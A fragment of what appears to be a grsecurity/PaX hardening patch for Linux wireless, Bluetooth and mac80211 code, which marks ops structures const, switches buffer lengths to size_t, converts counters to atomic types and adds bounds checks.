+--- drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-10-15 17:30:59.817924530 +0000
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+--- drivers/net/wireless/ath/ath9k/hw.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/hw.h	2012-10-15 17:30:59.817924530 +0000
+@@ -657,7 +657,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -687,7 +687,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 	void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable);
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -707,7 +707,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
+--- drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-10-15 17:30:59.818924529 +0000
+@@ -545,7 +545,7 @@ struct phy_func_ptr {
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
+--- drivers/net/wireless/iwlegacy/3945-mac.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/iwlegacy/3945-mac.c	2012-10-15 17:30:59.819924529 +0000
+@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c
+ 	 */
+ 	if (il3945_mod_params.disable_hw_scan) {
+ 		D_INFO("Disabling hw_scan\n");
+-		il3945_mac_ops.hw_scan = NULL;
++		pax_open_kernel();
++		*(void **)&il3945_mac_ops.hw_scan = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	D_INFO("*** LOAD DRIVER ***\n");
+--- drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-10-15 17:30:59.819924529 +0000
+@@ -203,7 +203,7 @@ static ssize_t iwl_dbgfs_sram_write(stru
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[64];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 offset, len;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -473,7 +473,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri
+ 	struct iwl_priv *priv = file->private_data;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -554,7 +554,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int ht40;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -606,7 +606,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int value;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1871,7 +1871,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int clear;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1916,7 +1916,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int trace;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1987,7 +1987,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int missed;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2028,7 +2028,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int plcp;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2088,7 +2088,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int flush;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2178,7 +2178,7 @@ static ssize_t iwl_dbgfs_protection_mode
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int rts;
+ 
+ 	if (!priv->cfg->ht_params)
+@@ -2220,7 +2220,7 @@ static ssize_t iwl_dbgfs_echo_test_write
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2256,7 +2256,7 @@ static ssize_t iwl_dbgfs_log_event_write
+ 	struct iwl_priv *priv = file->private_data;
+ 	u32 event_log_flag;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	/* check that the interface is up */
+ 	if (!iwl_is_ready(priv))
+@@ -2310,7 +2310,7 @@ static ssize_t iwl_dbgfs_calib_disabled_
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+ 	u32 calib_disabled;
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) - 1);
+--- drivers/net/wireless/iwlwifi/pcie/trans.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/iwlwifi/pcie/trans.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1944,7 +1944,7 @@ static ssize_t iwl_dbgfs_interrupt_write
+ 	struct isr_statistics *isr_stats = &trans_pcie->isr_stats;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1965,7 +1965,7 @@ static ssize_t iwl_dbgfs_csr_write(struc
+ {
+ 	struct iwl_trans *trans = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int csr;
+ 
+ 	memset(buf, 0, sizeof(buf));
+--- drivers/net/wireless/mac80211_hwsim.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/mac80211_hwsim.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1748,9 +1748,11 @@ static int __init init_mac80211_hwsim(vo
+ 		return -EINVAL;
+ 
+ 	if (fake_hw_scan) {
+-		mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
+-		mac80211_hwsim_ops.sw_scan_start = NULL;
+-		mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_open_kernel();
++		*(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
++		*(void **)&mac80211_hwsim_ops.sw_scan_start = NULL;
++		*(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	spin_lock_init(&hwsim_radio_lock);
+--- drivers/net/wireless/mwifiex/main.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/mwifiex/main.h	2012-10-15 17:30:59.820924530 +0000
+@@ -571,7 +571,7 @@ struct mwifiex_if_ops {
+ 	int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *);
+-};
++} __no_const;
+ 
+ struct mwifiex_adapter {
+ 	u8 iface_type;
+--- drivers/net/wireless/rndis_wlan.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/rndis_wlan.c	2012-10-15 17:30:59.821924531 +0000
+@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn
+ 
+ 	netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold);
+ 
+-	if (rts_threshold < 0 || rts_threshold > 2347)
++	if (rts_threshold > 2347)
+ 		rts_threshold = 2347;
+ 
+ 	tmp = cpu_to_le32(rts_threshold);
+--- drivers/net/wireless/rt2x00/rt2x00.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/rt2x00/rt2x00.h	2012-10-15 17:30:59.821924531 +0000
+@@ -397,7 +397,7 @@ struct rt2x00_intf {
+ 	 * for hardware which doesn't support hardware
+ 	 * sequence counting.
+ 	 */
+-	atomic_t seqno;
++	atomic_unchecked_t seqno;
+ };
+ 
+ static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif)
+--- drivers/net/wireless/rt2x00/rt2x00queue.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/rt2x00/rt2x00queue.c	2012-10-15 17:30:59.822924531 +0000
+@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri
+ 	 * sequence counter given by mac80211.
+ 	 */
+ 	if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags))
+-		seqno = atomic_add_return(0x10, &intf->seqno);
++		seqno = atomic_add_return_unchecked(0x10, &intf->seqno);
+ 	else
+-		seqno = atomic_read(&intf->seqno);
++		seqno = atomic_read_unchecked(&intf->seqno);
+ 
+ 	hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG);
+ 	hdr->seq_ctrl |= cpu_to_le16(seqno);
+--- drivers/net/wireless/ti/wl1251/wl1251.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/ti/wl1251/wl1251.h	2012-10-15 17:30:59.822924531 +0000
+@@ -266,7 +266,7 @@ struct wl1251_if_operations {
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
+--- drivers/net/wireless/ti/wlcore/wlcore.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ti/wlcore/wlcore.h	2012-10-15 17:30:59.822924531 +0000
+@@ -81,7 +81,7 @@ struct wlcore_ops {
+ 		       struct ieee80211_sta *sta,
+ 		       struct ieee80211_key_conf *key_conf);
+ 	u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len);
+-};
++} __no_const;
+ 
+ enum wlcore_partitions {
+ 	PART_DOWN,
+--- include/linux/unaligned/access_ok.h	2012-09-17 19:15:56.000000000 +0000
++++ include/linux/unaligned/access_ok.h	2012-10-15 17:30:59.823924531 +0000
+@@ -6,32 +6,32 @@
+ 
+ static inline u16 get_unaligned_le16(const void *p)
+ {
+-	return le16_to_cpup((__le16 *)p);
++	return le16_to_cpup((const __le16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_le32(const void *p)
+ {
+-	return le32_to_cpup((__le32 *)p);
++	return le32_to_cpup((const __le32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_le64(const void *p)
+ {
+-	return le64_to_cpup((__le64 *)p);
++	return le64_to_cpup((const __le64 *)p);
+ }
+ 
+ static inline u16 get_unaligned_be16(const void *p)
+ {
+-	return be16_to_cpup((__be16 *)p);
++	return be16_to_cpup((const __be16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_be32(const void *p)
+ {
+-	return be32_to_cpup((__be32 *)p);
++	return be32_to_cpup((const __be32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_be64(const void *p)
+ {
+-	return be64_to_cpup((__be64 *)p);
++	return be64_to_cpup((const __be64 *)p);
+ }
+ 
+ static inline void put_unaligned_le16(u16 val, void *p)
+--- net/bluetooth/hci_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/hci_sock.c	2012-10-15 17:30:59.825924531 +0000
+@@ -940,7 +940,7 @@ static int hci_sock_setsockopt(struct so
+ 			uf.event_mask[1] = *((u32 *) f->event_mask + 1);
+ 		}
+ 
+-		len = min_t(unsigned int, len, sizeof(uf));
++		len = min((size_t)len, sizeof(uf));
+ 		if (copy_from_user(&uf, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/l2cap_core.c	2012-09-27 23:19:11.000000000 +0000
++++ net/bluetooth/l2cap_core.c	2012-10-15 17:30:59.825924531 +0000
+@@ -3165,8 +3165,10 @@ static int l2cap_parse_conf_rsp(struct l
+ 			break;
+ 
+ 		case L2CAP_CONF_RFC:
+-			if (olen == sizeof(rfc))
+-				memcpy(&rfc, (void *)val, olen);
++			if (olen != sizeof(rfc))
++				break;
++
++			memcpy(&rfc, (void *)val, olen);
+ 
+ 			if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) &&
+ 							rfc.mode != chan->mode)
+--- net/bluetooth/l2cap_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/l2cap_sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -467,7 +467,8 @@ static int l2cap_sock_setsockopt_old(str
+ 	struct sock *sk = sock->sk;
+ 	struct l2cap_chan *chan = l2cap_pi(sk)->chan;
+ 	struct l2cap_options opts;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -489,7 +490,7 @@ static int l2cap_sock_setsockopt_old(str
+ 		opts.max_tx   = chan->max_tx;
+ 		opts.txwin_size = chan->tx_win;
+ 
+-		len = min_t(unsigned int, sizeof(opts), optlen);
++		len = min(sizeof(opts), len);
+ 		if (copy_from_user((char *) &opts, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -574,7 +575,8 @@ static int l2cap_sock_setsockopt(struct
+ 	struct bt_security sec;
+ 	struct bt_power pwr;
+ 	struct l2cap_conn *conn;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -597,7 +599,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -694,7 +696,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		pwr.force_active = BT_POWER_FORCE_ACTIVE_ON;
+ 
+-		len = min_t(unsigned int, sizeof(pwr), optlen);
++		len = min(sizeof(pwr), len);
+ 		if (copy_from_user((char *) &pwr, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/rfcomm/sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/rfcomm/sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -676,7 +676,7 @@ static int rfcomm_sock_setsockopt(struct
+ 	struct sock *sk = sock->sk;
+ 	struct bt_security sec;
+ 	int err = 0;
+-	size_t len;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -698,7 +698,7 @@ static int rfcomm_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/rfcomm/tty.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/rfcomm/tty.c	2012-10-15 17:30:59.826924531 +0000
+@@ -309,7 +309,7 @@ static void rfcomm_dev_del(struct rfcomm
+ 	BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (dev->port.count > 0) {
++	if (atomic_read(&dev->port.count) > 0) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return;
+ 	}
+@@ -664,10 +664,10 @@ static int rfcomm_tty_open(struct tty_st
+ 		return -ENODEV;
+ 
+ 	BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst),
+-				dev->channel, dev->port.count);
++				dev->channel, atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (++dev->port.count > 1) {
++	if (atomic_inc_return(&dev->port.count) > 1) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return 0;
+ 	}
+@@ -736,10 +736,10 @@ static void rfcomm_tty_close(struct tty_
+ 		return;
+ 
+ 	BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc,
+-						dev->port.count);
++						atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (!--dev->port.count) {
++	if (!atomic_dec_return(&dev->port.count)) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		if (dev->tty_dev->parent)
+ #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29))
+--- net/mac80211/ieee80211_i.h	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/ieee80211_i.h	2012-10-15 17:30:59.827924531 +0000
+@@ -28,6 +28,7 @@
+ #include <net/ieee80211_radiotap.h>
+ #include <net/cfg80211.h>
+ #include <net/mac80211.h>
++#include <asm/local.h>
+ #include "key.h"
+ #include "sta_info.h"
+ #include "debug.h"
+@@ -840,7 +841,7 @@ struct ieee80211_local {
+ 	/* also used to protect ampdu_ac_queue and amdpu_ac_stop_refcnt */
+ 	spinlock_t queue_stop_reason_lock;
+ 
+-	int open_count;
++	local_t open_count;
+ 	int monitors, cooked_mntrs;
+ 	/* number of interfaces with corresponding FIF_ flags */
+ 	int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll,
+--- net/mac80211/iface.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/iface.c	2012-10-15 17:30:59.827924531 +0000
+@@ -454,7 +454,7 @@ static int ieee80211_do_open(struct net_
+ 		break;
+ 	}
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		res = drv_start(local);
+ 		if (res)
+ 			goto err_del_bss;
+@@ -497,7 +497,7 @@ static int ieee80211_do_open(struct net_
+ 			break;
+ 		}
+ 
+-		if (local->monitors == 0 && local->open_count == 0) {
++		if (local->monitors == 0 && local_read(&local->open_count) == 0) {
+ 			res = ieee80211_add_virtual_monitor(local);
+ 			if (res)
+ 				goto err_stop;
+@@ -594,7 +594,7 @@ static int ieee80211_do_open(struct net_
+ 	mutex_unlock(&local->mtx);
+ 
+ 	if (coming_up)
+-		local->open_count++;
++		local_inc(&local->open_count);
+ 
+ 	if (hw_reconf_flags)
+ 		ieee80211_hw_config(local, hw_reconf_flags);
+@@ -607,7 +607,7 @@ static int ieee80211_do_open(struct net_
+  err_del_interface:
+ 	drv_remove_interface(local, sdata);
+  err_stop:
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		drv_stop(local);
+  err_del_bss:
+ 	sdata->bss = NULL;
+@@ -741,7 +741,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 
+ 	if (going_down)
+-		local->open_count--;
++		local_dec(&local->open_count);
+ 
+ 	switch (sdata->vif.type) {
+ 	case NL80211_IFTYPE_AP_VLAN:
+@@ -801,7 +801,7 @@ static void ieee80211_do_stop(struct iee
+ 
+ 	ieee80211_recalc_ps(local, -1);
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		if (local->ops->napi_poll)
+ 			napi_disable(&local->napi);
+ 		ieee80211_clear_tx_pending(local);
+@@ -833,7 +833,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 	spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags);
+ 
+-	if (local->monitors == local->open_count && local->monitors > 0)
++	if (local->monitors == local_read(&local->open_count) && local->monitors > 0)
+ 		ieee80211_add_virtual_monitor(local);
+ }
+ 
+--- net/mac80211/main.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/main.c	2012-10-15 17:30:59.827924531 +0000
+@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211
+ 		local->hw.conf.power_level = power;
+ 	}
+ 
+-	if (changed && local->open_count) {
++	if (changed && local_read(&local->open_count)) {
+ 		ret = drv_config(local, changed);
+ 		/*
+ 		 * Goal:
+--- net/mac80211/pm.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/pm.c	2012-10-15 17:30:59.828924531 +0000
+@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	struct ieee80211_sub_if_data *sdata;
+ 	struct sta_info *sta;
+ 
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto suspend;
+ 
+ 	ieee80211_scan_cancel(local);
+@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	cancel_work_sync(&local->dynamic_ps_enable_work);
+ 	del_timer_sync(&local->dynamic_ps_timer);
+ 
+-	local->wowlan = wowlan && local->open_count;
++	local->wowlan = wowlan && local_read(&local->open_count);
+ 	if (local->wowlan) {
+ 		int err = drv_suspend(local, wowlan);
+ 		if (err < 0) {
+@@ -143,7 +143,7 @@ int __ieee80211_suspend(struct ieee80211
+ 		drv_remove_interface(local, sdata);
+ 
+ 	/* stop hardware - this must stop RX */
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		ieee80211_stop_device(local);
+ 
+  suspend:
+--- net/mac80211/rate.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/rate.c	2012-10-15 17:30:59.828924531 +0000
+@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct
+ 
+ 	ASSERT_RTNL();
+ 
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		return -EBUSY;
+ 
+ 	if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) {
+--- net/mac80211/rc80211_pid_debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/rc80211_pid_debugfs.c	2012-10-15 17:30:59.828924531 +0000
+@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r
+ 
+ 	spin_unlock_irqrestore(&events->lock, status);
+ 
+-	if (copy_to_user(buf, pb, p))
++	if (p > sizeof(pb) || copy_to_user(buf, pb, p))
+ 		return -EFAULT;
+ 
+ 	return p;
+--- net/mac80211/util.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/util.c	2012-10-15 17:30:59.828924531 +0000
+@@ -1251,7 +1251,7 @@ int ieee80211_reconfig(struct ieee80211_
+ 	}
+ #endif
+ 	/* everything else happens only if HW was up & running */
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto wake_up;
+ 
+ 	/*
